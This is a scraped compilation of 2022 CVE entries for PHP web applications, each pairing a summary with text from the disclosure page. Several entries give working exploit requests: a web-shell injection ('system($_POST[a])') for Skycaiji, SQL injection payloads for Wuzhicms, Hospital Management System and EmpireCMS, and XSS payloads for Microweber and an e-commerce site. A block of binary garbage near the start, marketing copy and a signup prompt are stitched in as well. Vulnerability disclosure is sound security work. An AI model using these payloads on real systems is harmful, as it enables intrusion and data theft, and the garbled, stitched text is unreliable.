Poultry Farm Management System v1.0 was discovered to contain a SQL injection vulnerability via the Item parameter at /farm/store.php.

��h�S�5�?�s�?�md���W�9�,��\_���#A\\��l��\[��&���k+��7нu�=L ����(��$���{��������;8���4#�|@$�pm�naΆl3h@��W��S�:����x���d��&�ʣ�?�L��DO��8����{����yV �">VH7�Ȑ�oɇaD1p���Ұ^��fƶ�2�+v�y�k�ބ�|�zsPqa�A�-LW(�. 2Ħ�9�|M�jW�P'�6��fNF�#����<�4�����#� X�X�x��htG����IG�3S���麑Ե��6�j�����^��"pN4qv�T/�q���\]9Ջ�n��5qv�T/��q���ٍS͸� �J��Ug7N�x��ٍӿp��u6h ��<�� K�#���,� �/�$�w������=�OD�1���C+��DB�knyg� ��\`?���")�I�hL '��1I�D�����YC"��>e�)�8)��������H��e�?h8�co>��p�uy�Ȋ%��Q\_ņ�&�Q+��A�gƼe+5X^m�DnIkԄ�/����Ȝ�\[�gr��L\[�C�՛�q1+������q9��6&�D����\[�Ve��n��3���/\[4����+�d�F\`ꀺ�Y"���T��\* �v�m�d\`Z�uey�ڈ)�5���UR^�ܽs?3�3x��v�tB�;� �a=�|\]C��U��'�������v%���볥ҕ�5�r+&sр�-��~|ހj���YW3!ɵ�RgkqM�a(�iWS�TH�k��Mt�Lu--���\\�"�5����M��ͬ��Tڨ�CL}0��t �� EW�e��Ǖv1����b �����\[�O��x��H\_����m�L0��z1�z��b�����b�׸�d�;�G�bU�К��|{��7�9����0����MCo ~�#~���h�lU�y j����z�ii���>�U{��1k=\`s��ۢ���{���:Y�ל��|�3����Z\_�GO:��YFØ�Q��)�ۥm��� �@�!}���g,ds�

CVE-2022-28099

An XSS issue was discovered in browser_search_plugin.php in MantisBT before 2.25.2. Unescaped output of the return parameter allows an attacker to inject code into a hidden input field.

**MantisBT makes collaboration with team members & clients easy, fast, and professional**

MantisBT is an open source issue tracker that provides a delicate balance between simplicity and power. Users are able to get started in minutes and start managing their projects while collaborating with their teammates and clients effectively. Once you start using it, you will never go back!

**Email Notifications**

Keep your team and clients updated with notifications on issue updates, resolution, or comments.

**Access Control**

Per project role based access control for users putting you in control of your business.

**Customizable**

Flexibility to customize your issue fields, notifications and workflow.

**Words from our users**

  

"We've come to respect mantis for its powerful simplicity and I go around recommending it to friends and clients alike."

John Zastrow / Tetra Tech, Inc.

"Great product! We tried 6 different issue trackers before settling on Mantis."

John Locke / Freelock Computing

"Very flexible great project, exactly what we need for our software development."

Attila Strba / EnOcean

**Try MantisBT Now!**

It's never been easier to evaluate MantisBT. You can start by one or more of the demo options we have available or just go directly to the downloads page and get the latest version along with the administrator's guide to setup on your own servers.

CVE-2022-28508: Mantis Bug Tracker

Skycaiji v2.4 was discovered to contain a remote code execution (RCE) vulnerability via /SkycaijiApp/admin/controller/Develop.php.

**Vulnerability conditions**

*   Website Admin permissions

**Vulnerability details**

Location: /SkycaijiApp/admin/controller/Develop.php#L707#funcAction()

Code:

    ...
    else{
    				
    				$module=input('module');
    				$copyright=input('copyright');
    				$identifier=input('identifier');
    				$name=input('name');
    				$methods=input('methods/a',array());
    				
    				if(empty($module)){
    					$this->error('请选择类型');
    				}
    				
    				$module=$mfuncApp->format_module($module);
    				$copyright=$mfuncApp->format_copyright($copyright);
    				$identifier=$mfuncApp->format_identifier($identifier);
    				
    				if(!$mfuncApp->right_module($module)){
    					$this->error('类型错误');
    				}
    				if(!$mfuncApp->right_identifier($identifier)){
    					$this->error('功能标识只能由字母或数字组成，且首个字符必须是字母！');
    				}
    				if(!$mfuncApp->right_copyright($copyright)){
    					$this->error('作者版权只能由字母或数字组成，且首个字符必须是字母！');
    				}
    				
    				$newMethods=array();
    				foreach ($methods['method'] as $k=>$v){
    					if(preg_match('/^[a-z\_]\w*/',$v)){
    						
    						foreach ($methods as $mk=>$mv){
    							
    							$newMethods[$mk][$k]=$mv[$k];
    						}
    					}
    				}
    				$methods=$newMethods;
    				unset($newMethods);
    				
    				if(empty($methods['method'])){
    					$this->error('请添加方法！');
    				}
    				
    				$app=$mfuncApp->app_name($copyright,$identifier);
    				
    				$id=$mfuncApp->createApp($module,$app,array('name'=>$name,'methods'=>$methods));
    				
    				if($id>0){
    					$this->success('创建成功','Develop/func?app='.$app);
    				}else{
    					$this->error('创建失败');
    				}
    			}
    		}
    ....
    

Vulnerability key code:

    $app=$mfuncApp->app_name($copyright,$identifier);
    $id=$mfuncApp->createApp($module,$app,array('name'=>$name,'methods'=>$methods));`
    

�  
follow up $mfuncApp->app\_name  
  
Concatenate $copyright, $identifier directly, then return.  
Go back to $id=$mfuncApp->createApp($module,$app,array('name'=>$name,'methods'=>$methods));

follow up $mfuncApp->createApp

$module,$app,array('name'=>$name,'methods'=>$methods)

And the parameters we can control,follow up  
$funcFile=$this->filename($module,$app);  

Return directly after splicing

Continue back to the createApp function  

There is no filter /\* and \*/ for variables $name  
/plugin/func/$module/$copyright$identifier.php

Exp is constructed directly here:

    POST /index.php?s=/Admin/Develop/func HTTP/1.1
    Host: 172.16.49.3:50004
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 179
    Origin: http://172.16.49.3:50004
    Connection: close
    Referer: http://172.16.49.3:50004/index.php?s=/admin/Develop/func
    Cookie: PHPSESSID=o7c4tlckirjijmciq20ivi0cv4; login_history=3%7C6a03060e5e6600124dab098dfed314df
    
    _usertoken_=94701bbd27956c7d922c079da883c68f&module=downloadImg&name=*/system($_POST[a]);/*&identifier=a11&copyright=b1&methods%5Bmethod%5D%5B%5D=a12&methods%5Bcomment%5D%5B%5D=11
    

  
check the file  

Visit /plugin/func/downloadImg/A11B1.php  
post: a=command

CVE-2022-28096: Remote code execution vulnerability in /SkycaijiApp/admin/controller/Develop.php · Issue #39 · zorlan/skycaiji

DOM XSS in microweber ver 1.2.15 in GitHub repository microweber/microweber prior to 1.2.16. inject arbitrary js code, deface website, steal cookie...

**Description**

Hi there, on your latest version docker images 3463db62a01f, vulnerable to DOM XSS.

**Proof of Concept**

    http://localhost/admin/order?filteringResults=true&id=1&isPaid=1&keyword=1&maxDate=01/01/1967&maxPrice=1&minDate=01/01/1967&minPrice=1&orderStatus=new&productId=the&productKeyword=the9958%22%0a%09%09%09%09});%0a%09%09%09});%0a%09%09alert(origin);%0a%09%09%09$(document).ready(function%20()%20{%0a%09%09%09%09var%20searchOrdersByProduct%20=%20new%20mw.autoComplete({%0a//
    

 

**Impact**

inject arbitrary js code, deface website, steal cookie...

**Occurrences**

order\_filtering.blade.php L157

DOM code

    $(document).ready(function () {
                    var searchOrdersByProduct = new mw.autoComplete({
                        element: "#js-orders-search-by-products",
                        placeholder: "<?php if ($productKeyword) { echo $productKeyword; } else { _e("Search by products..."); }?>",
                        autoComplete:true,
                        ajaxConfig: {
                            method: 'get',
                            url: mw.settings.api_url + 'get_content_admin?get_extra_data=1&content_type=product&keyword=${val}'
                        },
                        map: {
                            value: 'id',
                            title: 'title',
                            image: 'picture'
                        }
                    });
                    $(searchOrdersByProduct).on("change", function (e, val) {
                        $(".js-orders-search-product").val(val[0].id).trigger('change')
                        $(".js-orders-search-product-keyword").val(val[0].title).trigger('change')
                    });
                });

CVE-2022-1555: DOM XSS in microweber ver 1.2.15  in microweber

Fusionpbx v4.4 and below contains a command injection vulnerability via the download email logs function.

@@ -198,129 +198,7 @@ public function resend($records) { } }  
/\*\* \* download records \*/ public function download($records) { if (permission\_exists($this\->permission\_prefix.'download')) {  
//add multi-lingual support $language = new text; $text = $language\->get();  
//validate the token $token = new token; if (!$token\->validate('/app/email\_logs/email\_logs.php')) { message::add($text\['message-invalid\_token'\],'negative'); header('Location: '.$this\->list\_page); exit; }  
//download multiple records (eventually zip individual emails together) if (is\_array($records) && @sizeof($records) != 0) {  
//retrieve checked records foreach($records as $x => $record) { if ($record\['checked'\] == 'true' && is\_uuid($record\['uuid'\])) { $uuids\[\] = $record\['uuid'\]; } }  
//download emails if (is\_array($uuids) && @sizeof($uuids) != 0) { foreach ($uuids as $x => $uuid) {  
//get email details $sql = "select call\_uuid, sent\_date, type, email from v\_email\_logs "; $sql .= "where email\_log\_uuid = :email\_log\_uuid "; $parameters\['email\_log\_uuid'\] = $uuid; $database = new database; $row = $database\->select($sql, $parameters, 'row'); if (is\_array($row) && @sizeof($row) != 0 && is\_uuid($row\['call\_uuid'\])) {  
//santize filename components $sent\_date = str\_replace('-','', $row\['sent\_date'\]); $sent\_date = str\_replace(':','', $sent\_date); $sent\_date = str\_replace(' ','\_', $sent\_date); $type = strtolower($row\['type'\]); $email\_filename = $sent\_date.'\_'.$type.'\_'.$row\['call\_uuid'\].'.eml';  
//single email if (@sizeof($uuids) == 1) {  
//set headers header("Content-Type: message/rfc822"); header('Content-Disposition: attachment; filename="'.$email\_filename.'"'); header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1 header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); // Date in the past header("Content-Length: ".strlen($row\['email'\]));  
//output content echo $row\['email'\]; exit; }  
//multiple emails else { if (is\_dir($\_SESSION\['server'\]\['temp'\]\['dir'\])) {  
if (file\_put\_contents($\_SESSION\['server'\]\['temp'\]\['dir'\].'/'.$email\_filename, $row\['email'\])) { $email\_files\[\] = $\_SESSION\['server'\]\['temp'\]\['dir'\].'/'.$email\_filename; } } }  
} unset($sql, $parameters, $row); }  
//download compressed file if (@sizeof($email\_files) != 0) {  
//define compressed file name $compressed\_filename = 'emails\_'.date('Ymd\_His').'.zip';  
//compress email files $command = 'zip -mj '.$\_SESSION\['server'\]\['temp'\]\['dir'\].'/'.$compressed\_filename.' '.implode(' ', $email\_files).' 2>&1'; exec($command, $response, $restore\_errlevel); unset($command);  
//push download if (file\_exists($\_SESSION\['server'\]\['temp'\]\['dir'\].'/'.$compressed\_filename)) {  
//open file session\_cache\_limiter('public'); $fd = fopen($\_SESSION\['server'\]\['temp'\]\['dir'\].'/'.$compressed\_filename, 'rb');  
//set headers header("Content-Type: application/zip"); header('Content-Disposition: attachment; filename="'.$compressed\_filename.'"'); header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1 header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); // Date in the past header("Content-Length: ".filesize($\_SESSION\['server'\]\['temp'\]\['dir'\].'/'.$compressed\_filename));  
//output file content ob\_clean(); fpassthru($fd); fclose($fd);  
//remove compressed file @unlink($\_SESSION\['server'\]\['temp'\]\['dir'\].'/'.$compressed\_filename); exit;  
}  
}  
}  
}  
}  
} //method  
} //class }  
?> ?>

CVE-2022-28055: Remove email_logs download. (#6331) · fusionpbx/fusionpbx@4e260b1

Wuzhicms v4.1.0 was discovered to contain a SQL injection vulnerability via the groupid parameter at /coreframe/app/member/admin/group.php.

**Vulnerability file:**

/coreframe/app/member/admin/group.php：132-160

     public function del() {
    	if(isset($GLOBALS['groupid']) && $GLOBALS['groupid']) {
    		if(is_array($GLOBALS['groupid'])) {
    			$where = ' IN ('.implode(',', $GLOBALS['groupid']).')';
    			foreach($GLOBALS['groupid'] as $gid) {
    				$this->db->delete('member_group_priv', array('groupid' => $gid));
    			}
    		} else {
    			$where = ' = '.$GLOBALS['groupid'];
    			$this->db->delete('member_group_priv', array('groupid' => $GLOBALS['groupid']));
    		}
    		$this->db->delete('member_group', 'issystem != 1 AND groupid'.$where);
    		$this->group->set_cache();
    		if(isset($GLOBALS['callback'])){
    			echo $GLOBALS['callback'].'({"status":1})';
    		}else{
    			MSG(L('operation_success'));
    		}
    	}else{
    		if(isset($GLOBALS['callback'])){
    			echo $GLOBALS['callback'].'({"status":0})';
    		}else{
    			MSG(L('operation_failure'));
    		}
    	}
    }
    

In the group.php file, the $groupid parameter under the del method are controllable, and the $groupid parameter is not strictly filtered, causing SQL injection vulnerabilities!

**POC**

index.php?m=member&f=group&v=del&groupid=7 and UPDATEXML(1,CONCAT(0x7e,database()),3)&_su=wuzhicms&_menuid=86

The vulnerability is located in the management member -> member group management list -> delete operation

CVE-2022-27431: Wuzhicms v4.1.0 /coreframe/app/member/admin/group.php hava a SQL Injection Vulnerability  · Issue #200 · wuzhicms/wuzhicms

Hospital Management System v1.0 was discovered to contain a SQL injection vulnerability via the patient_contact parameter in patientsearch.php.

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Pick a username

Email Address

Password

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2022-27420: VULNERABLE: SQL Injection in Hospital-Management-System. SQL injection in Hospital-Management-System/patientsearch.php via the 'patient_contact' param · Issue #19 · kishan0725/Hospital-Management-Syst

Hospital Management System v1.0 was discovered to contain a SQL injection vulnerability via the adminname parameter in admin.php.

****Hospital-Management-System v1.0 - SQLi******Vendor**

**Description:**

The vulnerability page is admin.php

http://you ip/HMS/admin.php

Hospital-Management-System v1.0

The adminname parameter in the admin.php page appears to be vulnerable to SQL injection attacks.

\[+\]sqlmap:

python3 sqlmap.py -r Your post packet.txt --random-agent --risk=3 --level=3 -dbs

\[+\] Payloads:

    Parameter: adminname ((custom) POST)
        Type: error-based
        Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
        Payload: adminname=admin' AND EXTRACTVALUE(4756,CONCAT(0x5c,0x717a706a71,(SELECT (ELT(4756=4756,1))),0x7170707a71)) AND 'hOiE'='hOiE&loginid=admin1&password=123456789&cnfirmpassword=123456789&select=Active&submit=%E6%8F%90%E4%BA%A4
    
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: adminname=admin' AND (SELECT 3117 FROM (SELECT(SLEEP(5)))xtHJ) AND 'beHE'='beHE&loginid=admin1&password=123456789&cnfirmpassword=123456789&select=Active&submit=%E6%8F%90%E4%BA%A4
    ---
    

\[+\]Post request package

    POST /HMS/admin.php HTTP/1.1
    Host: 192.168.10.7
    Content-Length: 119
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://192.168.10.7
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://192.168.10.7/HMS/admin.php
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    
    adminname=admin1&loginid=admin1&password=123456789&cnfirmpassword=123456789&select=Active&submit=%E6%8F%90%E4%BA%A4
    
    

**In action:**

**Proof and Exploit:**

href

CVE-2022-27413: GitHub - HH1F/Hospital-Management-System-V1.0-SQLi

A cross-site scripting (XSS) vulnerability in /public/admin/index.php?add_product of E-Commerce Website v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Product Title text field.

**Full-Ecommece-Website-Add\_Product-Stored\_XSS-POC**

*   Note => Login to admin
*   Description => Stored\_XSS at Product Title

**Step to Reproduct**

*   Login to admin -> Add Product -> input payload <img/src/onerror=prompt(10)> at Product Title -> Product Title

**Exploit**

**Vulnerable Code**

 

*   When inserting into the database, the input is not filtered out characters

**POC**

*   Injection Point

\------WebKitFormBoundaryXtBAIsNDayF64Ebh
Content-Disposition: form-data; name="product\_title"

<image/src/onerror=prompt(8)>

*   Request

POST /Full-Ecommece-Website/Codes/public/admin/index.php?add\_product HTTP/1.1
Host: localhost:8080
Content-Length: 1354971
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXtBAIsNDayF64Ebh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8080/Full-Ecommece-Website/Codes/public/admin/index.php?add\_product
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=oam3rcbi14nilh2pp3s21upev5; twk\_uuid\_5c2396fb7a79fc1bddf24b28={"uuid":"1.AGDzvqvmbboNUBtyBA0XLKxrviwKWw7HVKOjPqv5aIOJHjOnigPvpa5cn7QPGv6D5QwLM7ZIIBSpua1NrhQBpEeAdolcmuMk3JJtap3Nu2WjBL31HFdBqMF9VFcu8Olw","version":3,"domain":null,"ts":1647022863776}; TawkConnectionTime=0
Connection: close

------WebKitFormBoundaryXtBAIsNDayF64Ebh
Content-Disposition: form-data; name="product\_title"

<image/src/onerror=prompt(8)>
------WebKitFormBoundaryXtBAIsNDayF64Ebh
Content-Disposition: form-data; name="product\_description"

hacked
------WebKitFormBoundaryXtBAIsNDayF64Ebh
Content-Disposition: form-data; name="product\_price"

10000
------WebKitFormBoundaryXtBAIsNDayF64Ebh
Content-Disposition: form-data; name="short\_desc"

hacked
------WebKitFormBoundaryXtBAIsNDayF64Ebh
Content-Disposition: form-data; name="publish"

Publish
------WebKitFormBoundaryXtBAIsNDayF64Ebh
Content-Disposition: form-data; name="product\_category\_id"

12
------WebKitFormBoundaryXtBAIsNDayF64Ebh
Content-Disposition: form-data; name="product\_quantity"

1
------WebKitFormBoundaryXtBAIsNDayF64Ebh
Content-Disposition: form-data; name="file"; filename="car.png"
Content-Type: image/png

PNG

VIDEO POC https://drive.google.com/file/d/155K4qLwGI8kwctd5FijU9gzonSA2rMFz/view?usp=sharing

CVE-2022-27330: GitHub - CP04042K/Full-Ecommece-Website-Add_Product-Stored_XSS-POC

EmpireCMS 7.5 has a SQL injection vulnerability in AdClass.php

****Brief of this vulnerability****

EmpireCMS v7.5 has sql injection vulnerability in adding advertisement category

****Test Environment****

*   Windows10
*   PHP 5.5.9+Apache/2.4.39

****Affect version****

EmpireCMS 7.5

****Vulnerable Code****

e\\admin\\tool\\AdClass.php line 30

The variable $add passed in by the AddAdClass function is inserted into the sql statement without any filtering, resulting in a sql injection vulnerability

****Vulnerability display****

First enter the background

Click as shown,go to the ad management module

Click to add and capture the packet

Modify parameters  
payload：add%5Bclassname%5D=2bob' or updatexml(1,concat(0x7e,version()),0) or '

Successfully obtained the database version number

Tag

#php